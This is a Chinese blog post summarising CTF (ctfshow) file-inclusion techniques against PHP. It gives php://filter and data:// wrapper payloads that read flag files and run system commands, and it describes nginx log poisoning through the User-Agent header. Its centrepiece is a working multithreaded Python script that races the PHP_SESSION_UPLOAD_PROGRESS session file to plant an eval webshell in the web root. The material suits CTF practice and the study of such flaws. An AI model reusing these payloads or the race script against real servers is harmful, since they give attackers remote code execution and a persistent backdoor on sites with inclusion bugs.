首页 > 其他分享 >ctfshow 文件包含总结

ctfshow 文件包含总结

时间:2022-10-13 22:13:00浏览次数:51  
标签:总结 __ 包含 read threading session ctfshow php data

一些 php 伪协议就不具体介绍了,也不讲太详细

filter 伪协议可以利用过滤器来读或者写

php://filter/read=convert.base64-encode/resource=flag.php

 

 如上图,不能让 die 函数执行,所以可以利用 filter 伪协议读 content 绕过

file=php://filter/write=string.rot13/resource=1.php

date 伪协议可以用来命令执行

data://text/plain,<?php system('tac f*');
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #配合 base64 绕过

 日志包含 getshell(nginx中间件)

include("/var/log/nginx/access.log")

然后修改请求包的 UA 头为一句话,就能拿到 webshell

重头戏就是 session 竞争包含

import requests
import threading
import io

url = "http://8c9dffeb-7496-4b20-9c92-73d258a35abf.challenge.ctf.show/"
sessID = 'w1nd'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_w1nd文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('w1nd.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url + '1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()  # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):  # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()  # 唤醒线程

简单介绍下上面 python 程序的功能,如果我们新增名为 PHPSEESID=name 和 PHP_SESSION_UPLOAD_PROGRESS=content 的 cookie,那么 linux 服务器下就会生成包含 content 的 /tmp/sess_name 文件,不过上传后很快就会被删除,我们可以利用这极短的时候进行文件包含,让其执行命令,如上便是在网站根目录下写入一句话木马。并且程序会检测是否写入成功。

 

标签:总结,__,包含,read,threading,session,ctfshow,php,data
From: https://www.cnblogs.com/xshhc/p/16789849.html

相关文章

  • 每日总结(~~鲜花,酰铧 ❀~~) (晚上没精力切题了,就来写写总结吧)
    每日总结(鲜花,酰铧❀)(晚上没精力切题了,就来写写总结吧)10.13今天没考试,快乐刷题。事实证明,蓝以下数论题有思路的话真好切(不过一般我没有),python与高精度真是......
  • pikachu(文件包含)
    1.php中文件包含主要有以下四种函数:require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。include(),找不到被包含的文件时只会产生警告,脚本将继续运行。include_o......
  • 【Pandas总结】第五节 Pandas 数据查询方法总结_df.loc()总结
    一、写在前面如果说Pandas最重要的方法是什么,毫无疑问就是查询数据;所以,这节的内容应当是Pandas的核心知识点。能够按我们的要求查询出所需的数据,是我们使用Pandas的最重要......
  • NetBSD安装中的一些问题总结
    参考文档:https://www.cioworld.cn/guide/install/netbsd-quick-installhttps://www.netbsd.org/docs/guide/en/最近迷上了BSD系统,玩了一阵子FreeBSD之后,发现FreeBSD对ar......
  • css面试点总结2
    css面试点-@import与link的详解css面试点-position属性css面试点-CSS预处理器(Sass/Less/Postcss)css面试点-css3的filter详解......
  • css面试点总结一
    css面试点-css盒子模型css面试点-flex布局,css3弹性盒子模型css面试点-BFC(块级格式化上下文)与常见布局方案css面试点-css层叠上下文css面试点-div居中方法(共8种)css面试点-清......
  • 简单总结一下第二天学习Sass的知识点
    Sass的目的之一就是为了少写css代码,便于阅读。为降低Sass编译后的css代码量,使用组合选择器更能提高网站的速度:先复习一下css选择器 //后代选择器articlesection{......
  • 10月13日内容总结——算法之二分法、三元表达式和各种生成式及匿名函数、部分常见内置
    目录一、算法简介之二分法(需要写的出来)简介什么是算法二分法二、三元表达式什么是三元表本质?三元表达式语法结构三、各种生成式列表生成式字典生成式集合生成式元组生成器(......
  • JS判断数组中是否包含某个值
    方法一:array.indexOf此方法判断数组中是否存在某个值,如果存在,则返回数组元素的下标,否则返回-1。vararr=[1,2,3,4]varindex=arr.indexOf(3)console.log(index)方法......
  • chap 3多分支结构 学习总结 第九组
    1.分支结构的定义1.1什么是分支结构?①.对于要先做判断再选择的问题就要使用分支结构。②.分支结构的执行是依据一定的条件选择执行路径,而不是严格按照语句......